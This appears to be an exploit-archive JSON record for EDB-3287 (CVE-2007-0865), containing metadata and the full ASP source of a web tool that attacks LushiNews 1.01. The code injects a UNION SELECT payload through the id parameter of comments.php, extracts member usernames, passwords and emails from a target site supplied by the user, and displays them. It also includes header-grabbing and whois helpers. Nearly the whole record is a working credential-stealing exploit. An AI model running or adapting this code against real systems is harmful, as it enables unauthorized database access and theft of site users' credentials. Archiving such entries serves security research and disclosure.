{"exploit":{"id":"EDB-3287","name":"LushiNews 1.01 - 'comments.php' SQL Injection (SQLi)","description":"LushiNews 1.01 - 'comments.php' SQL Injection (SQLi)","cves":["CVE-2007-0865"],"author":"ajann","published":"2007-02-08","platform":"php","type":"webapps","language":"Text","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/3287","path":"exploits/php/webapps/3287.asp","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-3287.asp","vulnerabilities":[{"id":"CVE-2007-0865","state":"PUBLISHED","title":null,"titleSource":null,"description":"SQL injection vulnerability in comments.php in LushiNews 1.01 and earlier allows remote authenticated users to inject arbitrary SQL commands via the id parameter.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2007-0865","cvss":{"version":"2.0","baseScore":7.5,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:P/I:P/A:P","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2007-0865"},"updatedAt":"2024-08-07T12:34:21.110Z","retrievedAt":"2026-11-26T20:11:18.296Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-3287.png?v=2","url":"https://exploitbin.com/exploits/EDB-3287","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-3287/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-3287/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"<% Response.Buffer = True %>\n<% On Error Resume Next %>\n<% Server.ScriptTimeout = 100 %>\n\n<%\n'===============================================================================================\n'[Script Name: LushiNews <= 1.01 (comments.php) Remote SQL Injection Exploit\n'[Coded by   : ajann\n'[Author     : ajann\n'[Contact    : :(\n'[S.Page     : http://www.lushi.de\n'[ExploitName: exploit2.asp\n\n'[Note  : exploit file name =>exploit2.asp\n'[Update: + Get Header\n'[Update: + Get Whois Info\n'===============================================================================================\n\n%>\n\n<%\n\ntitle=\"LushiNews <= 1.01 (comments.php) Remote SQL Injection Exploit\" 'Vuln Title\n\n%>\n<html>\n<title><% = title %></title>\n<head>\n<meta name=\"generator\" content=\"Microsoft FrontPage 5.0\">\n\n<script language=\"JavaScript\">\n  function functionControl1(){\n        setTimeout(\"functionControl2()\",2000);\n     }\n\n  function functionControl2(){\n            if(document.form1.field1.value==\"\"){\n\n     alert(\"[Exploit Failed]=>The Username and Password Didnt Take,Try Again\");\n\n                             }\n                        }\n\n  function writetext() {\n\n            if(document.form1.field1.value==\"\"){\ndocument.getElementById('htmlAlani').innerHTML='<font face=\\\"Verdana\\\" size=\\\"1\\\" color=\\\"#008000\\\">There is a problem... The Data Didn\\'t Take </font>'\n\n                            }\n                 }\n  function write(){\n        setTimeout(\"writetext()\",1000);\n     }\n\n</script>\n\n\n</head>\n<body bgcolor=\"#000000\" link=\"#008000\" vlink=\"#008000\" alink=\"#008000\">\n\n<center>\n<font face=\"Verdana\" size=\"2\" color=\"#008000\"><b><a href=\"exploit2.asp\"><u><% = title %>\n</b></u></a></font><br><br>\n<table border=\"1\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse\" width=\"35%\" id=\"AutoNumber1\" bordercolorlight=\"#808080\" bordercolordark=\"#008000\" bordercolor=\"#808080\">\n  <tr>\n    <td width=\"50%\" bgcolor=\"#808000\" onmouseover=\"javascript:this.style.background='#808080';\" onmouseout=\"javascript:this.style.background='#808000';\">\n    <font face=\"Arial\" size=\"1\"><b><font color=\"#FFFFFF\">TARGET:</font>Example:[http://x.com/path]</b></font><p>\n    <b><font face=\"Arial\" size=\"1\" color=\"#FFFFFF\">USER ID:</font></b><font face=\"Arial\" size=\"1\"><b>Example:[User\n    ID=1]</b></font></p>\n  </td>\n    <td width=\"50%\">\n <center>\n<form method=\"post\" name=\"form1\" action=\"exploit2.asp?islem=get\">\n<input type=\"text\" name=\"text1\" value=\"http://\" size=\"25\" style=\"background-color: #808080\"><br><input type=\"text\" name=\"id\" value=\"10\" size=\"25\" style=\"background-color: #808080\">\n<input type=\"submit\" value=\"Get\"></form></center></td>\n  </tr>\n\n</table>\n\n<div id=htmlAlani></div>\n\n<%\nislem = Request.QueryString(\"islem\")\n\nIf islem = \"hata1\" Then\nResponse.Write \"<font face=\"\"Verdana\"\" size=\"\"1\"\" color=\"\"#008000\"\">There is a problem! Please complete to the whole spaces</font>\"\nEnd If\n\nIf islem = \"hata2\" Then\nResponse.Write \"<font face=\"\"Verdana\"\" size=\"\"1\"\" color=\"\"#008000\"\">There is a problem! Please right character use</font>\"\nEnd If\n\nIf islem = \"hata3\" Then\nResponse.Write \"<font face=\"\"Verdana\"\" size=\"\"1\"\" color=\"\"#008000\"\">There is a problem! Add \"\"http://\"\"</font>\"\nEnd If\n\nIf islem = \"hata4\" Then\nResponse.Write \"<font face=\"\"Verdana\"\" size=\"\"1\"\" color=\"\"#008000\"\">There is a problem! Just Numeric Character!</font>\"\nEnd If\n\n%>\n\n<%\n\nIf islem = \"get\" Then\n\nid= Request.Form(\"id\")\n\nfile=\"comments.php?id=\"\nsql=\"-1%20union%20select%20concat(char\"\nsql1=\"(85,115,101,114,110,97,109,101,58),char(32),\"\nsql2=\"Name,char(32),char(80,97,115,115,119,111,114,\"\nsql3=\"100,58),Passwort),0,0,0,concat(c\"\nsql4=\"har(109,109,97,105,108,58),mail)%20from%20\"\nsql5=\"members%20where%20ID=\"\nsql6=id\n\n\nidform = Request.Form(\"id\")\ntargettext = Request.Form(\"text1\")\narama=InStr(1, targettext, \"union\" ,1)\narama2=InStr(1, targettext, \"http://\" ,1)\n\nIf targettext=\"\" Then\nResponse.Redirect(\"exploit2.asp?islem=hata1\")\n\nElse\nIf arama>0 then\nResponse.Redirect(\"exploit2.asp?islem=hata2\")\n\nElse\nIf arama2=0 then\nResponse.Redirect(\"exploit2.asp?islem=hata3\")\n\nElse\nIF Not IsNumeric(idform) Then\nResponse.Redirect(\"exploit2.asp?islem=hata4\")\n\nElse\n%>\n\n<%\n\ntarget1 = targettext+file+sql+sql1+sql2+sql3+sql4+sql5+sql6\n\nPublic Function take(come)\nSet objtake = Server.CreateObject(\"Microsoft.XMLHTTP\" )\nWith objtake\n  .Open \"GET\" , come, FALSE\n  .sEnd\n\ntake =  .Responsetext\nEnd With\nSET objtake = Nothing\nEnd Function\n\n\nget_username = take(target1)\n\ngetdata=InStr(get_username,\"0  0/\" )\nusername=Mid(get_username,getdata+5,90)\n\nDim metin\nmetin = take(target1)\n\nDim objReg\nSet objReg = New RegExp\nobjReg.Global = False\nobjReg.IgnoreCase = True\n\nobjReg.Pattern = \"Username: [A-Za-z0-9ý]+ Pass\"\nDim calistir, istediginString\nSet calistir = objReg.Execute(metin)\n\n\nIf calistir.Count = 0 Then\n     Response.write \"Not True\"\nElse\n      basusername = Replace(calistir.Item(0), \"Username: \" , \"\" )\n      basusername = Replace(basusername, \" Pass\" , \"\" )\n\n\n\n      objReg.Pattern = \"Password:[A-Za-z0-9ý]+</b>\"\n      Set calistir = objReg.Execute(metin)\n      baspassword = Replace(calistir.Item(0), \"Password:\" , \"\" )\n      baspassword = Replace(baspassword, \"</b>\" , \"\" )\n\n\n      objReg.Pattern = \"mmail:[A-Za-z0-9@.]+</b>\"\n      Set calistir = objReg.Execute(metin)\n      basemail = Replace(calistir.Item(0), \"mmail:\" , \"\" )\n      basemail = Replace(basemail, \"</b>\" , \"\" )\n\nEnd If\n\n\n\nSet bulunanlar = Nothing\nSet objReg = Nothing\n\n%>\n\n<center>\n<font face=\"Verdana\" size=\"2\" color=\"#008000\"> <u><b>\najann<br></b></u></font><br>\n\n<table border=\"1\" cellpadding=\"0\" cellspacing=\"0\" style=\"border-collapse: collapse\" width=\"35%\" id=\"AutoNumber1\" bordercolorlight=\"#808080\" bordercolordark=\"#008000\" bordercolor=\"#808080\">\n  <tr>\n    <td width=\"50%\" bgcolor=\"#808000\" onmouseover=\"javascript:this.style.background='#808080';\" onmouseout=\"javascript:this.style.background='#808000';\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n    <b><font size=\"2\" face=\"Arial\">Username:</font></b></td>\n    <td width=\"80%\">\n&nbsp;<b><font color=\"#C0C0C0\" size=\"2\" face=\"Verdana\"><%=basusername%></b></font></p>\n </td>\n  </tr>\n\n  <tr>\n    <td width=\"50%\" bgcolor=\"#808000\" onmouseover=\"javascript:this.style.background='#808080';\" onmouseout=\"javascript:this.style.background='#808000';\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n    <b><font size=\"2\" face=\"Arial\">Password:</font></b></td>\n    <td width=\"80%\">\n&nbsp;<b><font color=\"#C0C0C0\" size=\"2\" face=\"Verdana\"><%=baspassword%></b></font></p>\n </td>\n  </tr>\n\n <tr>\n    <td width=\"50%\" bgcolor=\"#808000\" onmouseover=\"javascript:this.style.background='#808080';\" onmouseout=\"javascript:this.style.background='#808000';\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;\n    <b><font size=\"2\" face=\"Arial\">Email:</font></b></td>\n    <td width=\"80%\">\n&nbsp;<b><font color=\"#C0C0C0\" size=\"2\" face=\"Verdana\"><%=basemail%></b></font></p>\n </td>\n  </tr>\n\n</table>\n</center>\n\n  <br>\n\n\n<%\nhedef = targettext\nDim objem\nSet objem = Server.CreateObject(\"MSXML2.ServerXMLHTTP\")\nobjem.Open \"GET\" , hedef , false\n\nobjem.sEnd\n\nstrHTML = objem.ResponseText\n\nheader=objem.getallResponseheaders()\nResponse.Write \"<center>\"\nResponse.Write \"<b>\"\nResponse.Write \"<p><font color=\"\"#008000\"\" face=\"\"Verdana\"\" size=\"\"2\"\">Header Bilgileri</font></p>\"\nResponse.Write \"</b>\"\nResponse.Write \"<p><font color=\"\"#008000\"\" face=\"\"Verdana\"\" size=\"\"2\"\">\" & header & \"</font></p>\"\nResponse.Write \"<p><font color=\"\"#008000\"\" face=\"\"Verdana\"\" size=\"\"2\"\"><b>Whois</b></font></p>\"\nResponse.Write \"<p><font size=\"\"2\"\" color=\"\"#008000\"\">Site:</font><font color=\"\"#008000\"\" size=\"\"1\"\">[google.com]</font></p>\"\nResponse.Write \"</center>\"\nSet objem=Nothing\n\n%>\n\n<center><form method=\"post\" name=\"form2\" action=\"exploit2.asp?islem=whois\">\n  <p>\n  <input type=\"text\" name=\"whoissite\" size=\"20\" value=\"domainwhois\" style=\"font-family: Verdana; font-size: 10pt; color: #008000; border: 1px dashed #008000; background-color: #000000\">\n  <input type=\"submit\" value=\"Yolla\" name=\"B1\"></p>\n</form></center>\n\n\n<br>\n\n\n<form method=\"POST\" name=\"form2\" action=\"#\">\n<input type=\"hidden\" name=\"field1\" size=\"20\" value=\"sdfsd\">\n</form>\n\n\n<script language=\"JavaScript\">\nwrite()\nfunctionControl1()\n</script>\n\n</b></font>\n\n</body>\n</html>\n\n<%\nEnd If\nEnd If\nEnd If\nEnd If\nEnd If\n\n%>\n\n\n<%\nIf islem = \"whois\" Then\nsite = Request.Form(\"whoissite\")\ntarget1 = \"http://reports.internic.net/cgi/whois?whois_nic=\" & site & \"&type=domain\"\n\nPublic Function take(come)\nSet objtake = Server.CreateObject(\"Microsoft.XMLHTTP\" )\nWith objtake\n  .Open \"GET\" , come, FALSE\n  .sEnd\ntake =  .Responsetext\nEnd With\nSet objtake = Nothing\nEnd Function\n\nremoteadres=take(target1)\n\ndim baslangic , bitis\nbaslangic = \"<pre>\"\nbitis = \"</pre>\"\ndim x , abc\nx = 0\nabc = 0\ndim sonuc\nsonuc = \"\"\n\nDo Until abc = 2\nx = x + 1\nIf Mid(remoteadres,x,Len(bitis)) = bitis and abc = 1 Then\nabc = abc + 1\nEnd If\nIf Mid(remoteadres,x,Len(baslangic)) = baslangic Then\nabc = abc + 1\nElse\nIf abc = 1 Then\nsonuc = sonuc + Mid(remoteadres,x,1)\nEnd If\nEnd If\nLoop\n\nSet objtake=Nothing\n\n%>\n\n<center>\n<b><font color=\"#008000\" face=\"Verdana\" size=\"2\">Whois Bilgileri</font></b><p>\n<textarea rows=\"20\" name=\"S1\" cols=\"68\" style=\"font-family: Verdana; font-size: 10pt; color: #008000; border: 1px dotted #008000; background-color: #000000\">\n<% Response.Write \"<\" & sonuc %>\n&lt;/textarea&gt;\n</p>\n</center>\n\n<center><form method=\"post\" name=\"form2\" action=\"exploit2.asp?islem=whois\">\n  <p>\n  <input type=\"text\" name=\"whoissite\" size=\"20\" value=\"domainwhois\" style=\"font-family: Verdana; font-size: 10pt; color: #008000; border: 1px dashed #008000; background-color: #000000\">\n  <input type=\"submit\" value=\"Yolla\" name=\"B1\"></p>\n</form></center>\n\n\n\n<%\nEnd If\n%>\n\n<%\nResponse.Write \"<br>\"\nResponse.Write \"<center>\"\nResponse.Write \"<pre class=\"\"info\"\">\"\nResponse.Write \"<font color=\"\"#C0C0C0\"\" size=\"\"1\"\">\"\nResponse.Write \"En iyi \"\nResponse.Write \"</font>\"\nResponse.Write \"<font size=\"\"1\"\" color=\"\"#808080\"\"><span class=\"\"info2\"\">\"\nResponse.Write \"1152x864 \"\nResponse.Write \"</span></font>\"\nResponse.Write \"<font color=\"\"#C0C0C0\"\" size=\"\"1\"\">çözünürlük ve \"\nResponse.Write \"<span class=\"\"info2\"\"><font size=\"\"1\"\" color=\"\"#808080\"\">Firefox </font></span>\"\nResponse.Write \"ile görüntülünebilir.</font></pre>\"\n\nResponse.Write \"<pre class=\"\"info\"\">\"\nResponse.Write \"<font color=\"\"#C0C0C0\"\" size=\"\"1\"\">\"\nResponse.Write \"Exploit coded by \"\nResponse.Write \"</font>\"\nResponse.Write \"<font size=\"\"1\"\" color=\"\"#808080\"\"><span class=\"\"info2\"\">\"\nResponse.Write \"ajann\"\nResponse.Write \"</span></font>\"\nResponse.Write \"</center>\"\n\n%>\n\n# milw0rm.com [2007-02-08]","sha256":"815b0643c6e7d855926d8138243e8e74587f073cf9845a5c3900d707faf56c93","bytes":10616,"fetchedAt":"2026-11-26T20:11:14.105Z","encoding":"utf-8 (display only; download retains original bytes)"}